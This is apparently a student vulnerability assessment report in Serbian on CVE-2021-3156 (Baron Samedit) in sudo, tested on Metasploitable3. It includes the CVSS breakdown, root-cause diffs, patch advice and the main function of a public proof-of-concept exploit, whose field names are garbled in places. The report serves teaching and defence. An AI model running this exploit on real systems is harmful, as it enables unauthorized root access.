

# Vulnerability Assessment Report

Ime i prezime: Vlada Dević

Tim: Tim 10

Datum: 27.10.2024.

Scan Tool: Nessus (10.8.3)

Test okruženje: Metasploitable3

---

## 1. Enumeracija CVE-a

- **CVE ID:** CVE-2021-3156
  - **Opis:** CVE-2021-3156 ili Baron Samedit je ranjivost prisutna na Linux i Unix operativnim sistemima unutar sudo servisa. Omogućava korisniku sa bilo kojim nivoom pristupa da dobije root pristup. Ranjivost je prisutna na sudo verzijama 1.8.2–1.8.31p2 i 1.9.0–1.9.5p1.
- 

## 2. CVSS skor

- **CVSS skor (numerička vrednost):** 7.8
- **Vektor:** CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  - AV(Attack Vector) : L(Local)** – Napad se mora izvesti lokalno, odnosno napadač mora imati fizički pristup mašini koju napada.
  - AC(Attack Complexity) : L(Low)** – Za izvođenje napada nije potrebno da budu ispunjeni specifični uslovi ili da napadač poseduje posebne veštine.
  - PR(Privileges Required) : L(Low)** – Za izvođenje napada nije potrebno da napadač poseduje dodatne privilegije u sistemu.
  - UI(User Interaction) : N(None)** – Za izvođenje napada nije potrebno da postoji interakcija između napadača i korisnika. Napadač može uspešno da izvrši napad bez dozvole ili znanja žrtve.
  - S(Scope) : U(Unchanged)** – Iskorišćavanje ranjivosti ne utiče na druge komponente sistema.
  - C(Confidentiality Impact) : H(High)** – Iskorišćavanjem ranjivosti napadač dobija pristup osetljivim podacima.
  - I(Integrity Impact) : H(High)** – Iskorišćavanjem ranjivosti napadač stiče mogućnost da pravi izmene nad podacima.
  - A(Availability Impact) : H(High)** – Iskorišćavanjem ranjivosti napadač može znatno da utiče na dostupnost sistema.

- **Opravdanje:** Iskorišćavanjem ove ranjivosti napadač dobija root pristup sistemu. Ovo znači da potencijalno kompomitovan integritet svih podataka unutar sistema. Napad je moguće izvesti relativno lako, ne utiče na druge komponente sistema i nije potrebna žrtva preko koje se napad izvodi. Svi ovi argumenti su dobar razlog za visoku CVSS ocenu. Razlog zašto ocena nije viša je to što izvođenje napada nije moguće preko mreže što znatno smanjuje potencijalni rizik.
- 

### 3. Dostupnost eksploita

- **Postoji javno dostupan exploit (Da/Ne): Da**  
Postoji javno dostupan github repozitorijum: <https://github.com/blasty/CVE-2021-3156>.
- **Opis eksploita:**  
Ranjivost se zasniva na dve bitne funkcije: `set_cmd` i `parse_args`. Funkcija `set_cmd` iterira kroz argumente komandne linije(karakter po karakter) i smešta ih u buffer kreiran na heap-u. Ukoliko funkcija naiđe na „\” karakter preskace ga i kopira sledeći karakter. Funkcija `parse_args` funkcioniše kao zaštita u slučaju da korisnik unese „\” karakter. Ona prolazi kroz argumente karakter po karakter i kopira ih u bafer. Ukoliko naiđe na karakter koji nije alfanumerički upisuje „\” pre samog karaktera. Uvako definisan kod nema ranjivost, ali problem nastaje u uslovima koji moraju biti ispunjeni da bi se izvršile `set_cmd` i `parse_args` funkcije. Sudo komanda ima različite modove u kojima radi. Da bi se funkcija `set_cmd` izvršila potrebno je da budu postavljeni flagovi „MODE\_SHELL“ ili „MODE\_LOGIN\_SHELL“. Da bi se funkcija `parse_args` izvršila potrebno je da budu postavljeni flagovi „MODE\_RUN“ i „MODE\_SHELL“. Potrebno je naći komandu koja postavlja „MODE\_SHELL“ ali ne postavlja „MODE\_RUN“ flagove. Jedna takva komanda je „`sudoedit -s ...`“. Ukoliko pozovemo ovu komandu sa argumentom koji sadrži „\”, nakon ovog karaktera moguće uneti maliciozan kod koji će biti prekopiran na heap.

- Kod eksploita (ukoliko postoji):

```
int main(int argc, char *argv[]) {
    printf("\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\n\n");

    if (argc != 2 && argc != 5) {
        usage(argv[0]);
        return -1;
    }

    target_t *target = NULL;
    if (argc == 2) {
        int target_idx = atoi(argv[1]);

        if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
            fprintf(stderr, "invalid target index\n");
            return -1;
        }

        target = &targets[ target_idx ];
    } else {
        target = malloc(sizeof(target_t));
        target->target_name = "Manual";
        target->sudoedit_path = SUDOEDIT_PATH;
        target->smash_len_a = atoi(argv[1]);
        target->smash_len_b = atoi(argv[2]);
        target->>null_stomp_len = atoi(argv[3]);
        target->lc_all_len = atoi(argv[4]);
    }

    printf(
        "using target: %s [%s] (%d, %d, %d, %d)\n",
        target->target_name,
        target->sudoedit_path,
        target->smash_len_a,
        target->smash_len_b,
        target->>null_stomp_len,
        target->lc_all_len
    );

    char *smash_a = calloc(target->smash_len_a + 2, 1);
    char *smash_b = calloc(target->smash_len_b + 2, 1);

    memset(smash_a, 'A', target->smash_len_a);
    memset(smash_b, 'B', target->smash_len_b);

    smash_a[target->smash_len_a] = '\\';
    smash_b[target->smash_len_b] = '\\';

    char *s_argv[]={
        "sudoedit", "-s", smash_a, "\\ ", smash_b, NULL
    };

    char *s_envp[MAX_ENVP];
    int envp_pos = 0;

    for(int i = 0; i < target->>null_stomp_len; i++) {
        s_envp[envp_pos++] = "\\ ";
    }
    s_envp[envp_pos++] = "X/POP_SH3LLZ_";

    char *lc_all = calloc(target->lc_all_len + 16, 1);
    strcpy(lc_all, "LC_ALL=C.UTF-8@");
    memset(lc_all+15, 'C', target->lc_all_len);

    s_envp[envp_pos++] = lc_all;
    s_envp[envp_pos++] = NULL;

    printf("*** pray for your rootshell.. **\n");

    execve(target->sudoedit_path, s_argv, s_envp);
    return 0;
}
```

## 4. Analiza uzroka (root cause)

- Uvođenje Greške (Commit/Verzija):

Ranjivost je uvedena u sledećem commit-u:

<https://github.com/sudo-project/sudo/commit/8255ed69#diff-cd7720c14b9b802a5bca6455b6e9e9da27f3a73adcb4202b565b4148ccb19b50>

- Primer Koda (ako je primenljivo):

```

871 +         if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
872 +             /*
873 +              * When running a command via a shell, the sudo front-end
874 +              * escapes potential meta chars. We unescape non-spaces
875 +              * for sudoers matching and logging purposes.
876 +              */
877 +             for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
878 +                 while (*from) {
879 +                     if (from[0] == '\\' && !isspace((unsigned char)from[1]))
880 +                         from++;
881 +                     *to++ = *from++;
882 +                 }
883 +                 *to++ = ' ';
884 +             }
885 +             *--to = '\0';
886 +         } else {
887 +             for (to = user_args, av = NewArgv + 1; *av; av++) {
888 +                 n = strlcpy(to, *av, size - (to - user_args));
889 +                 if (n >= size - (to - user_args))
890 +                     errorx(1, _("internal error, set_cmd() overflow"));
891 +                 to += n;
892 +                 *to++ = ' ';
893 +             }
894 +             *--to = '\0';
895 +         }

```

```

387 387         /* shell -c "command" */
388 -         char *src, *dst, *end;
388 +         char *cmd, *src, *dst;
389 389         size_t cmd_size = (size_t) (argv[argc - 1] - argv[0]) +
390 -         strlen(argv[argc - 1]) + 1;
390 +         strlen(argv[argc - 1]) + 1;
391 +
392 +         cmd = dst = emalloc2(cmd_size, 2);
393 +         for (av = argv; *av != NULL; av++) {
394 +             for (src = *av; *src != '\0'; src++) {
395 +                 /* quote potential meta characters */
396 +                 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-')
397 +                     *dst++ = '\\';
398 +                 *dst++ = *src;
399 +             }
400 +             *dst++ = ' ';
401 +         }
402 +         if (cmd != dst)
403 +             dst--; /* replace last space with a NUL */
404 +         *dst = '\0';
405 +
406 +         ac = 3;
407 +         av = emalloc2(ac + 1, sizeof(char *));
408 +         av[1] = "-c";
409 -         av[2] = dst = emalloc(cmd_size);
409 -         src = argv[0];
409 -         for (end = src + cmd_size - 1; src < end; src++, dst++)
409 -             *dst = *src == '\0' ? ' ' : *src;
409 -         *dst = '\0';
409 +         av[2] = cmd;

```

## 5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne): Da**
- **Mitigation Strategy:** Potrebno je ažurirati sudo verziju. Sudo verzije 1.8.2–1.8.31p2 i 1.9.0–1.9.5p1 sadrže ranjivost, tako da će bilo koja druga verzija ukloniti problem. Sudo verziju možemo ažurirati upotrebom sledeće komande:  
`sudo apt upgrade sudo`

Ukoliko želimo da definišemo specifičnu verziju koristimo sledeću komandu:

```
sudo apt install sudo=<version_number>
```